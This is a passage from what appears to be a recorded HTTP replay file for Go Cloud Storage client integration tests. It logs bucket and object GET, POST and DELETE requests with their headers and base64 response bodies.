Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjE3MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkxpc3RPYmplY3RzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0T2JqZWN0cy5qYXZhOjQxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmxpc3QoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwNCwibWVzc2FnZSI6Ik5vdCBGb3VuZCJ9fQ==" - } - }, - { - "ID": "6b9dc540a02ed56f", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/Cafe%CC%81", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "20" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Etag": [ - "\"df597679bac7c6150429ad80a1a05680\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:26:29 GMT" - ], - "Last-Modified": [ - "Fri, 24 Mar 2017 20:04:37 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1490385877705600" - ], - "X-Goog-Hash": [ - "crc32c=qBeWjQ==", - "md5=31l2ebrHxhUEKa2AoaBWgA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "20" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrK69XFh4eDvl0RvSevMYIwMVs-nlDelMhoacS-4faSvuEateXMEqzdMvHClWdzkyqcEk7IQ1N0JMcv5uEPt6V98chYK-p9otm8puF4Uf846EBUEmg" - ] - }, - "Body": "Tm9ybWFsaXphdGlvbiBGb3JtIEQ=" - } - }, - { - "ID": "09f71762da168c2f", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/zero", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Etag": [ - "\"d41d8cd98f00b204e9800998ecf8427e\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:26:29 GMT" - ], - "X-Goog-Generation": [ - "1556835989296300" - ], - "X-Goog-Hash": [ - "crc32c=AAAAAA==", - "md5=1B2M2Y8AsgTpgAmY7PhCfg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "0" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrL3cJhuZXF-arxiYeo4MSf1to_dAoiyMisikOum5rqnrSnFa0OZ25Sl8hUU7lcIeW6P3-dwXK6qv0yHGFYMFnUB0VYpI9BRT16gMo8ikQ_L3gBmew" - ] - }, - "Body": "" - } - }, - { - "ID": "681729281517b9c0", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/zero?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrKCNWRWyBsgMgWxsrSjXZMKW22GWVttfUWHw_UNSF7X7hnnz4h-cD7vFzaLO7OVWvnuMyW9qpJAA4eJaERT9hSjGfv41XVw_9ouvBOeIK9ykq-DrE" - ] - }, - "Body": "" - } - }, - { - "ID": "39261fa7e6e9aede", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:33 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpEt-jSVBZqHHBwfNkeP4NXxMdC1ISsFp2E_M6JiSw9rDj2gTnmTZhrvOn-bo_f9Lx_HMxMDgsXfO0ftWqvUjGwdmHAYNnYK5JSJozLfuosPNxv_S4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjMzLjU1N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjozMy41NTdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "3e70965b0aa1111b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0022?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrB-4r560VjwZdR64GS_7_mZDefc-iM5ma_H8KjYfrdNXt-IlkgvzShsy7iNLseN6coOnkJwWT5tLbP54_M7nMUjord_jmpb1i19SBRA_3RQ_64yys" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjMzLjU1N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjozMy41NTdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAyMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "b80f9a99661cd572", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0022?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:34 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur4ItFRDN2_vB0_Ej095pAE061aywdVAoU_00t3fazm21R5ZLxUHpQL4ifTJ58218EkOeDBSWNaOaWuuzTnTM0DhXTe4l2X3pytOdfcZdIeyLV1rWA" - ] - }, - "Body": "" - } - }, - { - "ID": "979ffb3f3450c3d5", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "543" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJsYWJlbHMiOnsiZW1wdHkiOiIiLCJsMSI6InYxIn0sImxpZmVjeWNsZSI6eyJydWxlIjpbeyJhY3Rpb24iOnsic3RvcmFnZUNsYXNzIjoiTkVBUkxJTkUiLCJ0eXBlIjoiU2V0U3RvcmFnZUNsYXNzIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjEwLCJjcmVhdGVkQmVmb3JlIjoiMjAxNy0wMS0wMSIsImlzTGl2ZSI6ZmFsc2UsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTVVMVElfUkVHSU9OQUwiLCJTVEFOREFSRCJdLCJudW1OZXdlclZlcnNpb25zIjozfX0seyJhY3Rpb24iOnsidHlwZSI6IkRlbGV0ZSJ9LCJjb25kaXRpb24iOnsiYWdlIjozMCwiY3JlYXRlZEJlZm9yZSI6IjIwMTctMDEtMDEiLCJpc0xpdmUiOnRydWUsIm1hdGNoZXNTdG9yYWdlQ2xhc3MiOlsiTkVBUkxJTkUiXSwibnVtTmV3ZXJWZXJzaW9ucyI6MTB9fV19LCJsb2NhdGlvbiI6IlVTIiwibmFtZSI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2